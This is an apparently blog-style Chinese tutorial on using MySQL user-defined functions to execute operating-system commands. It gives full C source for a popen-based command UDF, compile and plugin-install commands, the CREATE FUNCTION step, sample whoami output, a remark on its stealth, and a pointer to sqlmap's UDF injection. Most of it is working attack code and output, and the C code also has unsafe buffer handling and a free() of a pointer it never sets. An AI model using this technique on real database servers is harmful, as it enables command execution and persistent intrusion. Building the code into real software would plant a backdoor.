MySQL UDF 简介

MySQL UDF (User Defined Function) 是一种可以扩展 MySQL 功能的机制,通过编写 C 或 C++ 代码,可以创建自定义的函数,甚至执行系统命令。

要利用 MySQL UDF 执行系统命令,需要满足以下三个条件:

  • 拥有 MySQL 的 root 权限,可以创建和删除函数
  • 拥有 MySQL 服务的文件权限,可以将 UDF 文件写到 MySQL 插件目录
  • UDF 文件是针对目标系统的平台和架构编译的,否则会出现错误

编写代码

在上文提到,利用 UDF 执行系统命令需要针对目标系统的平台和架构编译,比如目标 MySQL 服务器为 Windows 系统则需要 UDF 文件后缀为 .dll,Linux 系统则需要 UDF 文件后缀为 .so

本次选择以 Kali Linux 系统为例,编译代码前首先需要安装开发库,Kali Linux 安装命令为:

┌──(root㉿kali)-[~]
└─# apt install libmariadb-dev

如果是 Centos 系统,可以使用如下命令安装开发库:

sudo yum install mysql-devel

安装开发库完毕后,创建 udf.so 文件并编写代码如下:

// 引入MySQL的头文件
#include <mysql.h>
// 引入标准输入输出的头文件
#include <stdio.h>
#include <string.h>
// 引入标准库的头文件
#include <stdlib.h>

// 定义一个外部的C函数,避免C++的名称修饰
extern "C" {
  // 定义UDF的主函数,返回一个字符串
  char *mycmd(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error);
  // 定义UDF的初始化函数,返回一个布尔型
  my_bool mycmd_init(UDF_INIT *initid, UDF_ARGS *args, char *message);
  // 定义UDF的结束函数,返回一个空类型
  void mycmd_deinit(UDF_INIT *initid);
}

// 实现UDF的主函数
char *mycmd(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error) {
  // 从args中获取一个参数,转换为字符串
  char *cmd = args->args[0];
  // 定义一个文件指针,用于存储命令的输出
  FILE *fp;
  // 定义一个字符数组,用于存储命令的结果
  char buffer[256];
  // 使用popen函数执行命令,将输出存储到fp中
  fp = popen(cmd, "r");
  // 如果fp为空,表示命令执行失败,返回NULL
  if (fp == NULL) {
    *is_null = 1;
    return NULL;
  }
  // 使用fgets函数从fp中读取一行数据,存储到buffer中
  fgets(buffer, sizeof(buffer), fp);
  // 使用pclose函数关闭fp
  pclose(fp);
  // 将buffer的内容复制到result中
  strcpy(result, buffer);
  // 获取result的长度,赋值给length
  *length = strlen(result);
  // 返回result
  return result;
}

// 实现UDF的初始化函数
my_bool mycmd_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
  // 检查参数的个数是否为1,否则报错
  if (args->arg_count != 1) {
    strcpy(message, "mycmd() requires one argument");
    return 1;
  }
  // 检查参数的类型是否为字符串,否则报错
  if (args->arg_type[0] != STRING_RESULT) {
    strcpy(message, "mycmd() requires string argument");
    return 1;
  }
  // 返回0表示成功
  return 0;
}

// 实现UDF的结束函数
void mycmd_deinit(UDF_INIT *initid) {
  // 释放initid中的内存
  free(initid->ptr);
}

然后使用以下命令将其编译成动态链接库:

┌──(root㉿kali)-[~]
└─# g++ -shared -fPIC -I /usr/include/mariadb -o udf.so udf.c

其中,/usr/include/mariadb是指数据库头文件安装的所在目录,需要按照实际目录更改,可以使用以下命令查找:

sudo find / -name mysql.h

然后需要将生成的 udf.so 文件复制到 MySQL 的插件目录:

┌──(root㉿kali)-[~]
└─# cp udf.so /usr/lib/mysql/plugin

最后,我们在 MySQL 中创建函数:

MariaDB [(none)]> CREATE FUNCTION mycmd RETURNS STRING SONAME 'udf.so';
Query OK, 0 rows affected (0.001 sec)

查询添加的函数是否成功:

MariaDB [(none)]> SELECT * FROM mysql.func;
+-------+-----+--------+----------+
| name  | ret | dl     | type     |
+-------+-----+--------+----------+
| mycmd |   0 | udf.so | function |
+-------+-----+--------+----------+
1 row inset (0.008 sec)

命令执行

现在就可以通过在 MySQL 中调用函数以执行系统命令:

MariaDB [(none)]> SELECT mycmd('whoami');
+-----------------+
| mycmd('whoami') |
+-----------------+
| mysql
          |
+-----------------+
1 row inset (0.003 sec)

MariaDB [(none)]> SELECT mycmd('pwd');
+-----------------+
| mycmd('pwd')    |
+-----------------+
| /var/lib/mysql
|
+-----------------+
1 row inset (0.001 sec)

小结

因为 UDF 是运行在可信执行环境(MySQL)中,所以具有一定的隐蔽性,在操作系统中并不会新建进程。

现在也有诸多可利用工具进行利用,如 sqlmap 的 --udf-inject 选项,其 UDF 文件存储在 /usr/share/sqlmap/data/udf 目录下: